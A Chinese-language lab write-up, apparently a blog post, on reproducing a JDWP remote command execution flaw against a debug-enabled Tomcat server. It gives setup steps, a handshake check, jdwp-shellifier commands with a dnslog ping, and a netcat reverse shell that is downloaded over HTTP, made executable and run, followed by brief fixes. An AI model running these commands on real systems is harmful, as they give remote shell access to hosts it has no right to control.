【漏洞复现】JDWP远程命令执行漏洞

0x01 简介

JPDA(Java Platform Debugger Architecture):即Java平台调试体系架构。Java虚拟机设计的专门的API接口供调试和监控虚拟机使用。

JPDA按照抽象层次,又分为三层,分别是:

  • JVM TI(Java VM Tool Interface):虚拟机对外暴露的接口,包括debug和profile。
  • JDI(Java Debug Interface):Java库接口,实现了JDWP协议的客户端,调试器可以用来和远程被调试应用通信。
  • JDWP(Java DEbugger Wire Protocol):即Java调试线协议,是一个为Java调试而设计的通讯交互协议,它定义了调试器和被调试程序之间传递的信息的格式。说白了就是JVM或者类JVM的虚拟机都支持一种协议,通过该协议,Debugger 端可以和 target VM 通信,可以获取目标 VM的包括类、对象、线程等信息,在调试Android应用程序这一场景中,Debugger一般是指你的 develop machine 的某一支持 JDWP协议的工具例如 Android Studio 或者 JDB,而 Target JVM是指运行在你mobile设备当中的各个App(因为它们都是一个个虚拟机 Dalvik 或者 ART),JDWP Agent一般负责监听某一个端口,当有 Debugger向这一个端口发起请求的时候,Agent 就转发该请求给 target JVM并最终由该 JVM 来处理请求,并把 reply 信息返回给 Debugger 端。

0x02 环境搭建

靶机:192.168.178.128(centos)
攻击机:192.168.178.129(kali)

1、Centos安装tomcat
Tomcat官网下载https://tomcat.apache.org/download-70.cgi,Tomcat 有一键安装版和解压版,要搭建jdwp环境只能使用解压版。
在这里插入图片描述2、解压安装tomcat

tar -zxvf apache-tomcat-7.0.108.tar.gz
mkdir /opt/tomcat
mv apache-tomcat-7.0.108 /opt/tomcat/

3、修改配置文件

cd /opt/tomcat/apache-tomcat-7.0.108/bin
vim catalina.sh
//在首行添加:
CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000"

连接方式有两种,为dt_shmem和dt_socket,分别表示本机调试和远程调试。address=8000 代表开启8000端口作为远程调试端口。./startup.sh启动tomcat。
在这里插入图片描述4、在windows上通过jdb连接debug模式的tomcat
jdb.exe -connect com.sun.jdi.SocketAttach:hostname=192.168.178.128,port=8000
在这里插入图片描述

0x03 漏洞复现

1、简单验证
telnet端口,如果返回JDWP-Handshake,即表示存在漏洞。

2、POC
(1)poc下载地址:https://github.com/IOActive/jdwp-shellifier
(2)该漏洞无回显,可利用dnslog进行探测
python2 jdwp-shellifier.py -t 192.168.3.118 -p 8787 --break-on "java.lang.String.indexof" --cmd "ping xxx.dnslog.cn"
在这里插入图片描述3、反弹shell

下面内容均在攻击机上操作:

(1)准备反弹shell文件,保存为shell.txt
nc 192.168.178.129 3333 | /bin/bash | nc 192.168.178.129 4444%

(2)进入到有shell文件的目录下,终端开启简单http协议,使得靶机可以下载shell文件
python3 -m http.server 8000

(3)开启监听,需要开启2个监听,前面一个输入执行命令,后面一个输出命令执行结果

nc -lvvp 3333
nc -lvvp 4444

(4)利用POC执行命令,下载shell、文件可执行权限、执行shell

python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "wget http://192.168.178.129:8000/shell.txt -O /tmp/shell.sh"
python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "chmod a+x /tmp/shell.sh"
python2 jdwp-shellifier.py -t 192.168.178.128 -p 8000 --break-on "java.lang.String.indexof" --cmd "/tmp/shell.sh"

(5)两个监听都收到shell,一个输入命令,一个输出结果
在这里插入图片描述

0x04 修复建议

(1)关闭JDWP端口,或者JDWP端口不对公网开放
(2)关闭Java的debug模式

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值